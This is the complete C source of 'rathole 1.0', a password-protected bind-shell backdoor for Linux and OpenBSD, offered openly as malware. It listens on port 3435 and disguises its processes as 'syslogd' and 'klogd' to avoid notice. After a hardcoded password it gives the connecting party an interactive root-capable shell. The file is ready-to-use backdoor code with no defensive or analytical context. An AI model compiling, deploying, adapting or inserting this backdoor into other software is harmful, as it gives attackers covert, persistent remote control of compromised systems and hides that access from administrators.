// rathole 1.0 - passworded backdoor for linux/openbsd - by Incognito/PT
//
// After connecting to the specified port type password and return. There are 
// no friendly error messages because it's supposed to be silent. 
// On OpenBSD /bin/sh might give you trouble. Try other shells. And If you 
// don't enjoy stderr bitching comment line 61.

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <signal.h>
#include <netinet/in.h>
#include <stdio.h>
#include <errno.h>
#include <unistd.h>

#define	SHELL	"/bin/sh"		// shell to run
#define	SARG	"-i"			// shell parameters
#define	PASSWD	"foobar99"		// password (8 chars)
#define	PORT	3435			// port to bind shell
#define	FAKEPS	"syslogd"		// process fake name
#define	SHELLPS	"klogd"			// shells fake name
#define	WELCOME	"[ Rathole 1.0 ]\n\n"	// banner message

int main (int argc, char *argv[])
{
	int lsock, csock;
	struct sockaddr_in laddr, caddr;
	socklen_t len;
	pid_t pid;
	char ipass[9];
	static char *pass = PASSWD;
	static char *msg1 = WELCOME;
	char *sargv[3];
	sargv[0] = SHELLPS;
#ifdef SARG
	sargv[1] = SARG;
	sargv[2] = NULL;
#else
	sargv[1] = NULL;	
#endif
	strcpy(argv[0], FAKEPS);
	signal(SIGCHLD, SIG_IGN);
	if ((lsock = socket(AF_INET, SOCK_STREAM, 0)) == -1) exit (-1);
	len = sizeof(laddr);
	memset(&laddr, 0, len);	
	laddr.sin_addr.s_addr = htonl(INADDR_ANY);
	laddr.sin_family = AF_INET;
	laddr.sin_port = htons(PORT);
	if (bind(lsock, (const struct sockaddr *)&laddr, len) != 0) exit (-1);
	if (listen(lsock, 1) != 0) exit (-1);
	if ((pid = fork()) == -1) exit (-1);
	if (pid > 0) exit(0);
	setsid();
	while (1) {
		if((csock = accept(lsock, (struct sockaddr *)&caddr, &len)) < 0)
			exit(-1);
		if (fork() != 0) {
			dup2(csock, 0);
			dup2(csock, 1);
			dup2(csock, 2);
			fgets(ipass, 9, stdin);
			if (strncmp(ipass, pass, 8) != 0) {
				shutdown(csock, 2);
				exit(-1);
			}
			else {
				send (csock, msg1, strlen(msg1), 0);
				execv(SHELL, sargv);
				shutdown(csock, 2);
				exit(-1);
			}
		}
		close(csock);
	}
	exit(0);
}